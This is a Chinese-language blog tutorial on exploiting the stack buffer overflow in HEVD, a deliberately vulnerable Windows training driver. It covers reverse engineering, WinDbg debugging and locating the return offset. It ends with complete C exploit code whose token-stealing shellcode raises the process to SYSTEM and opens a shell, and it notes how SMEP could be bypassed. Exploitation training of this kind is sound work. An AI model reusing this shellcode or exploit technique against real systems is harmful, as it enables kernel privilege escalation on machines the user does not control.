标题 | 简介 | 类型 | 公开时间 | ||||||||||||
|
|||||||||||||||
|
|||||||||||||||
详情 | |||||||||||||||
[SAFE-ID: JIWO-2024-702] 作者: ecawen 发表于: [2017-09-25] [2017-09-25]被用户:ecawen 修改过
本文共 [359] 位读者顶过
这篇文章里,我们将浏览一个简单的HEVD驱动漏洞 - 栈溢出。攻击代码将附在最后。
首先,我们把驱动.sys文件加载到IDA里看看它的结构。你将会很庆幸我们的驱动里编译时有符号表选项,这使得逆向简单得多!
[出自:jiwo.org]
逆向驱动
在driver最开始被加载时,DriverEntry函数是driver的入口。它做了许多事情,比如说,创建IO设备和设置驱动路径 - \\Device\\HackSysExtremeVulnerableDriver。这个函数接着设置IRP(I/O 申请数据包)handler(我觉得中文翻译handle,handler太晦涩,具体可以看这个链接)- 这是我们最关心的部分。
函数 IrpDeviceIoCtlHandler 被分配给了 DriverObject MajorFunction 数列的第14个成员。这个函数包含一系列switch选项,这些选项将基于用户在应用程序代码中DeviceIoContrl调用时提供的IOCTL决定那个函数会被运行。
我们关心的函数是 StackOverflowIoctlHandler 的 handler。这个函数会在用户使用IOCTL数为 0x222003 调用DeviceIoControl 时处理用户的请求。
在调用 StackOverflowIoctlHandler 后,调用 TriggerStackOverflow 函数前,会有一些设置。
这其中包含以下代码:
你应该立刻就能发现这里应该有漏洞。因为这里有一个从 userBuffer 到 kernelBuffer (大小为2048 bytes)的 memcpy,并且这个size 大小是交由用户通过 userBufferSz 决定。
所以我们要怎么利用这个漏洞攻击呢?简单。 我们只需要提供比 kernelBuffer (大小为2048 bytes)更多的数据,然后再告诉 memcpy 我们的数据大小(这里我们的数据是多大就写多大)。驱动会 memcpy 我们的数据到驱动内核栈,并且傻傻的帮我们覆盖掉栈上的返回指针。
漏洞找到了,那我们开始真正的攻击吧!
攻击Handler
我们设置一个断点来看看攻击是怎么运行的吧。首先我们在WinDbg里运行命令 uf HEVD!TriggerStackOverflow 来得到现在 TriggerStackOverflow 函数在加载后的HEVD模块的地址。这个地址会随着每次开机而变化 - 因为 ASLR(一个通过每次开机时随机化系统library加载地址来防止攻击者使用系统library的机制,很老的一个想法,但会让攻击者稍微麻烦一点).
现在我们通过输入 g 恢复被攻击虚拟机的运行,然后回到我们的被攻击虚拟机接着写我们的攻击代码!
攻击代码编写
为了与驱动通信,我们要给他写个handler。我们可以通过使用CreateFile打开物理驱动路径(在DriverEntry 函数中的DestinationString)。和平常一样,先查查看这个函数的文档来看看参数都是用来干嘛的。
接下来我们需要分配一个用于给驱动 memcpy 数据的缓存。我们可以使用 VirtualAlloc。我给了这个缓存一个page。(注意这里给缓存上设置了运行和写权限,因为内核最后会执行这个缓存上的shell code)。(shell code就是些2进制码,每个程序编译到最后都是二进制码,而计算机cpu能运行的其实到最后也就是二进制码。这个文章中的shellcode的用处就是提升当前进程的权限到系统权限)
现在我们先给这个缓存区放满A试试。
最后我们想用 DeviceIOControl 调用到驱动,这样我们就能把缓存传给驱动来触发栈溢出!
运行攻击
现在把这些整合到一起,编译运行!
我们可以看到断点中断了系统。漏洞名什么的被打印了出来,这些是之前 TriggerStackOverflow 里做的事情。并且中断在了这个 TriggerStackOverflow 函数ret的那个点。我们可以看到 KernelBuffer Size 和 UserBuffer Size 都是我们想要的!是我们在 DeviceIoControl 调用里给的!
当然我们已经造成了系统损伤。通过 View->Memory 在WinDbg里打开栈。写入寄存器esp里的地址,我们可以看到驱动即将要回到的地址。
如果我们继续让进程运行,它将会崩溃,毕竟 0x41414141地址里没有东西。接下来我们就看看怎样把将回到的地址改到我们想要的地方。在这里用一个常用的小技巧, debruijn sequence。用pwntools(CTF里的一个常用工具)产生下面这个数列(这里你也可以自己写python script生成你喜欢的数列,Python挺好用的)。
之后我们放这个数列到userBuffer里。
char myStr[] = "aaaabaaacaaada...avlaav";
RtlCopyMemory(uBuffer, myStr, 0x864);
这样再运行一遍攻击代码,我们就知道在数列的哪个位置是将回的地址。
所以我们只要再前2080bytes里随便放点东西,然后放我们想这个进程接着运行的地址。接着我们在那个地址放Shell code就好啦。最后一步我们要得要系统权限的shell。
shell 取得系统权限
我们只要知道当这段 shellcode 被内核运行时,将会使当前运行的进程提权至系统相同的权限。
如果我们用比win7更新的系统,将会有一个叫 SMEP/SMAP 的机制挡在我们面前。这个机制会禁止内核运行用户进程里的shellcode(通过page特征里的一个bit来来判断这个page属于用户还是系统)。为了绕过这个机制,我们需要把shellcode放到内核的栈里(memcpy),然后跳到那里。
但我们的win7并没有这个机制,所以虽然简单我就不麻烦写那一步了。我们就把shellcode放到userBuffer里,然后跳过去就完了。
成功以后,内核将会把当前进程提升到系统权限并从 DeviceIoControl 调用中回到当前进程。然后我们的cmd.exe就是可以干一切事情啦!
运行中。。。
拥有系统权限的shell!下面是最终的攻击代码:
#include <windows.h> #include <winioctl.h> #include <stdio.h> #include <stdint.h> /* HEVD Windows Driver Exploit for the Stack Buffer Overflow Written by glem - have fun :) */ #define PAGE_SIZE 4096 #define SHELLCODE_LEN 61 #define RET_OFFSET 2080 #define STACK_IOCTL 0x222003 #define DRIVER_PATH "\\\\.\\HackSysExtremeVulnerableDriver" void main() { /* HANDLE WINAPI CreateFile( _In_ LPCTSTR lpFileName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwShareMode, _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, _In_ DWORD dwCreationDisposition, _In_ DWORD dwFlagsAndAttributes, _In_opt_ HANDLE hTemplateFile ); */ HANDLE device = CreateFileA(DRIVER_PATH, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); if (device == INVALID_HANDLE_VALUE) { printf("[!] Error opening the driver\n"); exit(1); } /* LPVOID WINAPI VirtualAlloc( _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect ); */ LPVOID uBuffer = VirtualAlloc(NULL, PAGE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!uBuffer) { printf("Error allocating the user buffer\n"); exit(1); } printf("[~] uBuffer @ %p\n", uBuffer); /* VOID RtlCopyMemory( _Out_ VOID UNALIGNED *Destination, _In_ const VOID UNALIGNED *Source, _In_ SIZE_T Length ); */ char shellcode[] = /* --- Setup --- */ "\x60" // pushad "\x64\xA1\x24\x01\x00\x00" // mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" // mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" // mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" // mov ebx, [eax + TOKEN_OFFSET] /* --- Copy System token */ "\xBA\x04\x00\x00\x00" // mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" // mov eax, [eax + FLINK_OFFSET] "\x2D\xB8\x00\x00\x00" // sub eax, FLINK_OFFSET "\x39\x90\xB4\x00\x00\x00" // cmp [eax + PID_OFFSET], edx "\x75\xED" // jnz "\x8B\x90\xF8\x00\x00\x00" // mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" // mov [ecx + TOKEN_OFFSET], edx /* --- Cleanup --- */ "\x61" // popad "\x31\xC0" // NTSTATUS -> STATUS_SUCCESS "\x5D" // pop ebp "\xC2\x08\x00"; // ret 8 RtlCopyMemory(uBuffer, shellcode, SHELLCODE_LEN); /* set return ptr to shellcode */ uint32_t *ret_Addr = (uint32_t *) (uBuffer + RET_OFFSET); *ret_Addr = (uint32_t) uBuffer; printf("[~] retAddr offset @ %p\n", ret_Addr); /* BOOL WINAPI DeviceIoControl( _In_ HANDLE hDevice, _In_ DWORD dwIoControlCode, _In_opt_ LPVOID lpInBuffer, _In_ DWORD nInBufferSize, _Out_opt_ LPVOID lpOutBuffer, _In_ DWORD nOutBufferSize, _Out_opt_ LPDWORD lpBytesReturned, _Inout_opt_ LPOVERLAPPED lpOverlapped ); */ DWORD bytesRet; BOOL bof = DeviceIoControl(device, /* handler for open driver */ STACK_IOCTL, /* IOCTL for the stack overflow */ uBuffer, /* our user buffer with shellcode/retAddr */ RET_OFFSET+4, /* want up to the offset + 4 (for the retAddr) sent */ NULL, /* no buffer for the driver to write back to */ 0, /* above buffer of size 0 */ &bytesRet, /* dump variable for byte returned */ NULL); /* ignore overlap */ /* check if the device IO sent fine! */ if (!bof) { printf("[!] Error with DeviceIoControl\n"); exit(1); } else { printf("[*] Success!! Enjoy your shell!\n"); } /* pop a shell! */ system("cmd.exe"); }
|